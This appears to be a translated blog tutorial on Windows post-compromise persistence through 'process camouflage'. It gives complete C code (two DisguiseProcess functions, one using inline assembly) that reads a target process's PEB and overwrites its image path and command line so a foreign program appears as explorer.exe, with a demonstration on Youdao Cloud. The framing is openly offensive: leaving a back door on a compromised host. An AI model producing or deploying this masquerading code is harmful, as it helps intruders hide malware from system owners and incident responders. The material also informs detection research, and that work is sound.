When we get the permission of a host and get the information we want to collect, we will leave a back door for permission maintenance. The knowledge of permission maintenance is actually very deep. Today we will mainly introduce one of the relatively simple methods of permission maintenance - process camouflage.
We know that there are many system processes in windows, such as Winlogon exe,explorer.exe,services.exe and so on. These exes are necessary for windows. When some exes are missing, windows cannot run normally. Therefore, if we want to realize process camouflage, the best choice is to camouflage as the necessary exe of the system. When we camouflage the process, the information of the system process will be displayed in the system, However, this program can still perform its normal functions, so as to achieve the role of process camouflage and permission maintenance.
thinking
When we judge whether a process is hijacked, we usually judge by its process name and path, that is, the startup path. Then we can deduce it. We can realize the role of process camouflage by modifying the process path and process name in the process module
For example, let's take a look at the process name and startup path of explorer
So how can we get the information of the process? Ntdll can be used here DLL to get the PEB address of the process. Here is a little concept. What is PEB?
PEB, that is, process environment block structure, is the process environment information block in English, which contains the information of writing the process. Its complete structure is as follows:
typedef struct _PEB { BYTE Reserved1[2]; BYTE BeingDebugged; //Debugged state BYTE Reserved2[1]; PVOID Reserved3[2]; PPEB_LDR_DATA Ldr; PRTL_USER_PROCESS_PARAMETERS ProcessParameters; BYTE Reserved4[104]; PVOID Reserved5[52]; PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine; BYTE Reserved6[128]; PVOID Reserved7[1]; ULONG SessionId; } PEB, *PPEB;
We won't delve into the meaning of each attribute here. After we get the PEB structure, we can modify some attributes of the process to achieve the effect of process camouflage. However, we can't directly sketch memory data through pointers, because each program has its own independent space, So here we need to use ReadProcessMemory and WriteProcessMemory to read and write processes
BOOL ReadProcessMemory( [in] HANDLE hProcess, [in] LPCVOID lpBaseAddress, [out] LPVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesRead );
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );
Implementation process
The OpenProcess handle is used to open the process first
HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
Then from ntdll DLL to obtain the export address of NtQueryInformationProcess. Because this function has no associated import library, it can only obtain the address dynamically
NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");
After we get the address, we need to pay attention to the process in the ntquery information process structure_ BASIC_ For the value of information, first look at the structure
__kernel_entry NTSTATUS NtQueryInformationProcess( [in] HANDLE ProcessHandle, [in] PROCESSINFOCLASS ProcessInformationClass, [out] PVOID ProcessInformation, [in] ULONG ProcessInformationLength, [out, optional] PULONG ReturnLength );
The third value is PROCESS_BASIC_INFORMATION refers to the pointer to the buffer provided by the calling application, and the function writes the requested information to the buffer. The size of the information written depends on the data type of the ProcessInformationClass parameter
When the ProcessInformationClass parameter is ProcessBasicInformation, the PROCESSINFORMATION parameter pointed to by the buffer should be large enough to maintain a single PROCESS_BASIC_INFORMATION has the following layout structure:
typedef struct _PROCESS_BASIC_INFORMATION { PVOID Reserved1; PPEB PebBaseAddress; PVOID Reserved2[2]; ULONG_PTR UniqueProcessId; PVOID Reserved3; } PROCESS_BASIC_INFORMATION;
So how do we locate the PEB structure?
The FS segment register points to the current TEB structure, and the PEB pointer is at the TEB offset 0x30. The address of PEB can be obtained through this pointer, which can be realized through assembly
__asm { mov eax,fs:[0x30] mov PEB,eax }
Here we need to modify two parameters, one is the command line parameter and the other is the path parameter. Here, use winDBG to follow the PEB structure
First, at the offset of 0x20, there is an attribute value called ProcessParameters whose structure is_ RTL_USER_PROCESS_PARAMETERS, keep going inside
At the offset of 0x60, ImagePathName is the path of the executable file, and the structure is_ UNICODE_STRING, whose 0x08 offset points to a Buffer whose content is the string of the executable path. Similarly, the 0x70 offset indicates that CommandLine is a command line parameter
Then we first get the PebBaseAddress and ProcessPamameters in the structure
::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
To modify the command line information is to modify the Buffer and Length fields in the command line structure
CmdLen = 2 + 2 * ::wcslen(lpwszCmd); ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL); ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
Similarly, if you modify the path information, you also modify the Buffer and Length fields. The structure here is ImagePathName
PathLen = 2 + 2 * ::wcslen(lpwszPath); ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL); ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
So here we have modified the fields of command line and path. The complete code is as follows
BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd) { // Open process get handle HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (NULL == hProcess) { printf("[!] OpenProcess failed,error is : %d", GetLastError()); return FALSE; } typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL; PROCESS_BASIC_INFORMATION pbi = { 0 }; PEB peb = { 0 }; RTL_USER_PROCESS_PARAMETERS Param = { 0 }; USHORT CmdLen = 0; USHORT PathLen = 0; // You need to download ntdll.dll from LoadLibrary and GetProcessAddress Get address from DLL NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress( ::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess"); if (NULL == NtQueryInformationProcess) { printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError()); return FALSE; } // Get the basic information of the specified process NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); if (!NT_SUCCESS(status)) { printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError()); return FALSE; } // Get PebBaseAddress ::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL); // Get ProcessParameters ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL); // Modify the command line information, that is, the Buffer and Length fields in the CommandLine structure CmdLen = 2 + 2 * ::wcslen(lpwszCmd); ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL); ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL); // Modify the path information, that is, the Buffer and Length fields in the ImagePathName structure PathLen = 2 + 2 * ::wcslen(lpwszPath); ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL); ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL); return TRUE; }
Here, you can also use asm to point to PEB structure for data modification. In fact, it is the same as the above idea. It also points to Buffer and Length fields for modification. However, here, the PEB structure is located by using pointers, and the effect is the same
BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd) { // Open process get handle HANDLE hProcess = GetModuleHandle(NULL); PPEB peb = { 0 }; USHORT usCmdLen = 0; USHORT usPathLen = 0; __asm { mov eax,fs:[30h] mov peb,eax } usCmdLen = 2 + 2 * wcslen(lpwszCmd); (*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd; (*peb).ProcessParameters->CommandLine.Length = usCmdLen; usPathLen = 2 + 2 * wcslen(lpwszPath); (*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath; (*peb).ProcessParameters->ImagePathName.Length = usPathLen; return TRUE; }
Realization effect
Here is a demonstration of the implementation effect of the first code. Youdao cloud is selected to disguise the process as explorer. First, let's take a look at the details of explorer
Run the program and you can see that the modification is successful
Take another look at Youdao cloud. You can see that the process camouflage has been realized